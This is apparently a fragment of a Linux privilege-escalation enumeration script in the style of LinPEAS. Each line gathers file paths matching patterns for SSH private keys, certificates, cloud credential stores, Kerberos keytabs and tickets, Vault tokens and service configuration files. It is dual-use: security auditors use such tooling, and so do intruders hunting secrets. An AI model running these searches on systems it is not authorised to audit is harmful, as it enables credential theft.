+ PSTORAGE_OPENVPN=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E ".*\.ovpn$" | sort | uniq | head -n 70)
+ PSTORAGE_SSH=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "id_dsa.*$|id_rsa.*$|known_hosts$|authorized_hosts$|authorized_keys$|.*\.pub$" | sort | uniq | head -n 70)
+ PSTORAGE_CERTSB4=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -v -E '/usr/share/|/usr/local/lib/|/usr/lib.*' | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E ".*\.pem$|.*\.cer$|.*\.crt$" | sort | uniq | head -n 70)
+ PSTORAGE_CERTSBIN=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -v -E '/usr/share/|/usr/local/lib/|/usr/lib/.*|^/usr/share/|/usr/local/lib/|/usr/lib/.*' | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E ".*\.csr$|.*\.der$" | sort | uniq | head -n 70)
+ PSTORAGE_CERTSCLIENT=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -v -E '/usr/share/|/usr/local/lib/|/usr/lib/.*' | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E ".*\.pfx$|.*\.p12$" | sort | uniq | head -n 70)
+ PSTORAGE_SSH_AGENTS=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -v -E '.dll' | grep -E "^${ROOT_FOLDER}tmp" | grep -E "agent.*$" | sort | uniq | head -n 70)
+ PSTORAGE_SSH_CONFIG=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}usr|^$GREPHOMESEARCH" | grep -E "ssh.*config$" | sort | uniq | head -n 70)
+ PSTORAGE_SNYK=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "snyk\.json$|snyk\.config\.json$" | sort | uniq | head -n 70)
+ PSTORAGE_CLOUD_CREDENTIALS=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_DIR_MNT\n$FIND_DIR_ETC\n$FIND_DIR_USR\n$FIND_DIR_CDROM\n$FIND_DIR_SRV\n$FIND_DIR_OPT\n$FIND_DIR_SBIN\n$FIND_DIR_CONCOURSE_AUTH\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_SNAP\n$FIND_DIR_VAR\n$FIND_DIR_CONCOURSE_KEYS\n$FIND_DIR_MEDIA\n$FIND_DIR_TMP\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_PRIVATE\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "credentials\.db$|legacy_credentials\.db$|adc\.json$|\.boto$|\.credentials\.json$|firebase-tools\.json$|access_tokens\.db$|access_tokens\.json$|accessTokens\.json$|gcloud$|legacy_credentials$|azureProfile\.json$|TokenCache\.dat$|AzureRMContext\.json$|ErrorRecords$|TokenCache\.dat$|\.bluemix$|doctl$" | sort | uniq | head -n 70)
+ PSTORAGE_ROAD_RECON=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "\.roadtools_auth$" | sort | uniq | head -n 70)
+ PSTORAGE_FREEIPA=$(echo -e "$FIND_DIR_MNT\n$FIND_DIR_ETC\n$FIND_DIR_USR\n$FIND_DIR_CDROM\n$FIND_DIR_SRV\n$FIND_DIR_OPT\n$FIND_DIR_SBIN\n$FIND_DIR_CONCOURSE_AUTH\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_SNAP\n$FIND_DIR_VAR\n$FIND_DIR_CONCOURSE_KEYS\n$FIND_DIR_MEDIA\n$FIND_DIR_TMP\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_PRIVATE\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "ipa$|dirsrv$" | sort | uniq | head -n 70)
+ PSTORAGE_KERBEROS=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "krb5\.conf$|.*\.keytab$|\.k5login$|krb5cc_.*$|kadm5\.acl$|secrets\.ldb$|\.secrets\.mkey$|sssd\.conf$" | sort | uniq | head -n 70)
+ PSTORAGE_KIBANA=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "kibana\.y.*ml$" | sort | uniq | head -n 70)
+ PSTORAGE_GRAFANA=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "grafana\.ini$" | sort | uniq | head -n 70)
+ PSTORAGE_KNOCKD=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E '/etc/init.d/' | grep -E "^${ROOT_FOLDER}etc" | grep -E ".*knockd.*$" | sort | uniq | head -n 70)
+ PSTORAGE_LOGSTASH=$(echo -e "$FIND_DIR_MNT\n$FIND_DIR_ETC\n$FIND_DIR_USR\n$FIND_DIR_CDROM\n$FIND_DIR_SRV\n$FIND_DIR_OPT\n$FIND_DIR_SBIN\n$FIND_DIR_CONCOURSE_AUTH\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_SNAP\n$FIND_DIR_VAR\n$FIND_DIR_CONCOURSE_KEYS\n$FIND_DIR_MEDIA\n$FIND_DIR_TMP\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_PRIVATE\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "logstash$" | sort | uniq | head -n 70)
+ PSTORAGE_ELASTICSEARCH=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "elasticsearch\.y.*ml$" | sort | uniq | head -n 70)
+ PSTORAGE_VAULT_SSH_HELPER=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "vault-ssh-helper\.hcl$" | sort | uniq | head -n 70)
+ PSTORAGE_VAULT_SSH_TOKEN=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "\.vault-token$" | sort | uniq | head -n 70)
+ PSTORAGE_COUCHDB=$(echo -e "$FIND_DIR_MNT\n$FIND_DIR_ETC\n$FIND_DIR_USR\n$FIND_DIR_CDROM\n$FIND_DIR_SRV\n$FIND_DIR_OPT\n$FIND_DIR_SBIN\n$FIND_DIR_CONCOURSE_AUTH\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_SNAP\n$FIND_DIR_VAR\n$FIND_DIR_CONCOURSE_KEYS\n$FIND_DIR_MEDIA\n$FIND_DIR_TMP\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_PRIVATE\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "couchdb$" | sort | uniq | head -n 70)
+ PSTORAGE_REDIS=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "redis\.conf$" | sort | uniq | head -n 70)
+ PSTORAGE_MOSQUITTO=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "mosquitto\.conf$" | sort | uniq | head -n 70)
+ PSTORAGE_NEO4J=$(echo -e "$FIND_DIR_MNT\n$FIND_DIR_ETC\n$FIND_DIR_USR\n$FIND_DIR_CDROM\n$FIND_DIR_SRV\n$FIND_DIR_OPT\n$FIND_DIR_SBIN\n$FIND_DIR_CONCOURSE_AUTH\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_SNAP\n$FIND_DIR_VAR\n$FIND_DIR_CONCOURSE_KEYS\n$FIND_DIR_MEDIA\n$FIND_DIR_TMP\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_PRIVATE\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "neo4j$" | sort | uniq | head -n 70)
